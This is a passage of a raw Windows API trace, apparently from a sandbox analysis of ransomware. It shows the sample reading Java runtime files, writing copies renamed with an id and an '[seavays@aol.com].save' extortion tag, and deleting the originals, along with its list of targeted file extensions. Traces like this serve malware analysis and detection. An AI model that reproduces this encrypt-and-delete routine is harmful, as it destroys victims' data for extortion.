(lpString1=".ppt", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.005] lstrlenW (lpString=".zip") returned 4 [0210.005] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString=".rar") returned 4 [0210.005] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString=".bz2") returned 4 [0210.005] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString=".7z") returned 3 [0210.005] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0210.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.005] lstrlenW (lpString=".dbf") returned 4 [0210.005] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.005] lstrlenW (lpString=".1cd") returned 4 [0210.005] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.005] lstrlenW (lpString=".jpg") returned 4 [0210.005] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0210.005] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.006] lstrlenW (lpString="content-types.properties") returned 24 [0210.006] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.006] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=5548) returned 1 [0210.006] CloseHandle (hObject=0x34c) returned 1 [0210.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0210.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.007] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.007] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.008] GetLastError () returned 0x0 [0210.008] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0210.009] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0210.011] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.011] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x104, lpOverlapped=0x0) returned 1 [0210.011] SetEndOfFile (hFile=0x350) returned 1 [0210.011] CloseHandle (hObject=0x350) returned 1 [0210.011] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.011] SetEndOfFile (hFile=0x34c) returned 1 [0210.012] CloseHandle (hObject=0x34c) returned 1 [0210.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.012] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0210.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.013] lstrlenW (lpString=".doc") returned 4 [0210.013] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.013] lstrlenW (lpString=".docx") returned 5 [0210.013] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.013] lstrlenW (lpString=".pdf") returned 4 [0210.013] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.013] lstrlenW (lpString=".xls") returned 4 [0210.013] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.013] lstrlenW (lpString=".xlsx") returned 5 [0210.013] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.013] lstrlenW (lpString=".ppt") returned 4 [0210.013] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.013] lstrlenW (lpString=".zip") returned 4 [0210.013] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.013] lstrlenW (lpString=".rar") returned 4 [0210.013] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString=".bz2") returned 4 [0210.014] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString=".7z") returned 3 [0210.014] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.014] lstrlenW (lpString=".dbf") returned 4 [0210.014] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.014] lstrlenW (lpString=".1cd") returned 4 [0210.014] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.014] lstrlenW (lpString=".jpg") returned 4 [0210.014] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.014] lstrlenW (lpString=".doc") returned 4 [0210.014] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString=".docx") returned 5 [0210.014] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.014] lstrlenW (lpString=".pdf") returned 4 [0210.014] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString=".xls") returned 4 [0210.014] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString=".xlsx") returned 5 [0210.014] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.014] lstrlenW (lpString=".ppt") returned 4 [0210.014] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.015] lstrlenW (lpString=".zip") returned 4 [0210.015] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.015] lstrlenW (lpString=".rar") returned 4 [0210.015] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.015] lstrlenW (lpString=".bz2") returned 4 [0210.015] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.015] lstrlenW (lpString=".7z") returned 3 [0210.015] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.015] lstrlenW (lpString=".dbf") returned 4 [0210.015] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.015] lstrlenW (lpString=".1cd") returned 4 [0210.015] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0210.015] lstrlenW (lpString=".jpg") returned 4 [0210.015] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.015] lstrcmpiW (lpString1=".data", lpString2=".save") returned -1 [0210.015] lstrlenW (lpString="currency.data") returned 13 [0210.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.016] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=4122) returned 1 [0210.016] CloseHandle (hObject=0x34c) returned 1 [0210.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0210.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.016] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.016] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.017] GetLastError () returned 0x0 [0210.017] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x101a, lpOverlapped=0x0) returned 1 [0210.018] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x1020, lpOverlapped=0x0) returned 1 [0210.020] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.020] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xee, lpOverlapped=0x0) returned 1 [0210.020] SetEndOfFile (hFile=0x350) returned 1 [0210.020] CloseHandle (hObject=0x350) returned 1 [0210.020] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.020] SetEndOfFile (hFile=0x34c) returned 1 [0210.021] CloseHandle (hObject=0x34c) returned 1 [0210.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.021] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0210.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.022] lstrlenW (lpString=".doc") returned 4 [0210.022] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0210.022] lstrlenW (lpString=".docx") returned 5 [0210.022] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0210.022] lstrlenW (lpString=".pdf") returned 4 [0210.022] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0210.022] lstrlenW (lpString=".xls") returned 4 [0210.022] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0210.022] lstrlenW (lpString=".xlsx") returned 5 [0210.022] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0210.023] lstrlenW (lpString=".ppt") returned 4 [0210.023] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0210.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.023] lstrlenW (lpString=".zip") returned 4 [0210.023] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0210.023] lstrlenW (lpString=".rar") returned 4 [0210.023] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0210.023] lstrlenW (lpString=".bz2") returned 4 [0210.023] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0210.023] lstrlenW (lpString=".7z") returned 3 [0210.023] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0210.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.023] lstrlenW (lpString=".dbf") returned 4 [0210.023] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0210.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.023] lstrlenW (lpString=".1cd") returned 4 [0210.023] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0210.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.023] lstrlenW (lpString=".jpg") returned 4 [0210.023] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0210.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.023] lstrlenW (lpString=".doc") returned 4 [0210.023] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0210.023] lstrlenW (lpString=".docx") returned 5 [0210.023] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0210.023] lstrlenW (lpString=".pdf") returned 4 [0210.023] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0210.023] lstrlenW (lpString=".xls") returned 4 [0210.024] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0210.024] lstrlenW (lpString=".xlsx") returned 5 [0210.024] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0210.024] lstrlenW (lpString=".ppt") returned 4 [0210.024] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0210.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.024] lstrlenW (lpString=".zip") returned 4 [0210.024] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0210.024] lstrlenW (lpString=".rar") returned 4 [0210.024] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0210.024] lstrlenW (lpString=".bz2") returned 4 [0210.024] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0210.024] lstrlenW (lpString=".7z") returned 3 [0210.024] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0210.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.024] lstrlenW (lpString=".dbf") returned 4 [0210.024] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0210.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.024] lstrlenW (lpString=".1cd") returned 4 [0210.024] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0210.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0210.024] lstrlenW (lpString=".jpg") returned 4 [0210.024] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0210.024] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.024] lstrlenW (lpString="messages.properties") returned 19 [0210.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.025] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=2860) returned 1 [0210.025] CloseHandle (hObject=0x34c) returned 1 [0210.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0210.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.026] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.026] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.027] GetLastError () returned 0x0 [0210.027] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0210.396] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xb30, lpOverlapped=0x0) returned 1 [0210.397] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.397] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xfa, lpOverlapped=0x0) returned 1 [0210.397] SetEndOfFile (hFile=0x350) returned 1 [0210.397] CloseHandle (hObject=0x350) returned 1 [0210.397] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.397] SetEndOfFile (hFile=0x34c) returned 1 [0210.398] CloseHandle (hObject=0x34c) returned 1 [0210.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.399] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0210.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.399] lstrlenW (lpString=".doc") returned 4 [0210.399] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.399] lstrlenW (lpString=".docx") returned 5 [0210.399] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.399] lstrlenW (lpString=".pdf") returned 4 [0210.399] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.399] lstrlenW (lpString=".xls") returned 4 [0210.399] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.399] lstrlenW (lpString=".xlsx") returned 5 [0210.400] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.400] lstrlenW (lpString=".ppt") returned 4 [0210.400] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.400] lstrlenW (lpString=".zip") returned 4 [0210.400] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString=".rar") returned 4 [0210.400] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString=".bz2") returned 4 [0210.400] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString=".7z") returned 3 [0210.400] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.400] lstrlenW (lpString=".dbf") returned 4 [0210.400] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.400] lstrlenW (lpString=".1cd") returned 4 [0210.400] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.400] lstrlenW (lpString=".jpg") returned 4 [0210.400] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.400] lstrlenW (lpString=".doc") returned 4 [0210.400] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString=".docx") returned 5 [0210.400] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.400] lstrlenW (lpString=".pdf") returned 4 [0210.400] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.400] lstrlenW (lpString=".xls") returned 4 [0210.401] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString=".xlsx") returned 5 [0210.401] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.401] lstrlenW (lpString=".ppt") returned 4 [0210.401] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.401] lstrlenW (lpString=".zip") returned 4 [0210.401] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString=".rar") returned 4 [0210.401] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString=".bz2") returned 4 [0210.401] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString=".7z") returned 3 [0210.401] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.401] lstrlenW (lpString=".dbf") returned 4 [0210.401] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.401] lstrlenW (lpString=".1cd") returned 4 [0210.401] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0210.401] lstrlenW (lpString=".jpg") returned 4 [0210.401] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.401] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.401] lstrlenW (lpString="messages_sv.properties") returned 22 [0210.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.402] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=3409) returned 1 [0210.402] CloseHandle (hObject=0x34c) returned 1 [0210.402] GetFileAttributesW (lpFileName="C:\\Program 